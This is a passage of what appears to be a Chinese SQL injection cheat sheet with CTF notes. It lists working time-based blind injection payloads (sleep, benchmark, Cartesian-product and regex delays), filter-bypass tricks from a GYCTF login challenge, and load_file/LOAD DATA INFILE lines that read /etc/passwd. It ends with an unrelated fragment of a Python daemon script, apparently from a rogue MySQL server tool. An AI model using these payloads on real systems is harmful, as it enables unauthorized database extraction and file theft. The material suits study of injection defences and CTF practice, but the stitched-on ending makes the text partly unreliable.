id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果正确,则延迟3秒,错误则无延时。
2.benchmark()
通过大量运算来模拟延时:
1 2 3
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
1 2 3
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);
这个长度大概是2秒:
1
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);
select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';
当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话,其实也有很多其他的方式如:
1 2 3
POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1 凑成: select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
还有一个例子是GYCTF中的一道sql注入题,通过注入来登录:
过滤了空格,union,#,—+,/*,^,or,
这样上面用类似or ‘1’=’1’万能钥匙的方式来注入就不太可能了。
可以考虑将password作为函数的参数来闭合语句:
1 2 3
username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1 这样凑成: select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'
用join代替: -1 union select 1,2,3 -1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit: limit 2,1 limit 1 offset 2
substr: substr(database(),5,1) substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个 substr(database() from 5) 如果for也被过滤了 mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
if: if(database()=’xxx’,sleep(3),1) id=1 and databse()=’xxx’ and sleep(3) select case when database()=’xxx’ then sleep(5) else 0 end
8.limit被过滤
select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column)
select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0); 或 select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0); 或 select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
当然,比赛时想到的用sleep()的方法也是可以的。
上面提到cot(0)会报错,即cot(False)会报错,所以只要让内部为False则必定会执行
并且我们知道sleep(x)的返回值为0:
这样就很好办了,if(语句,sleep(3),0),这样语句不管为真还是假都返回False
所以构造语句
1
select * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));
select load_file(file_path); load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件 load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
#================================================ #=======No need to change after this lines======= #================================================
__author__ = 'Gifts'
def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return
if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)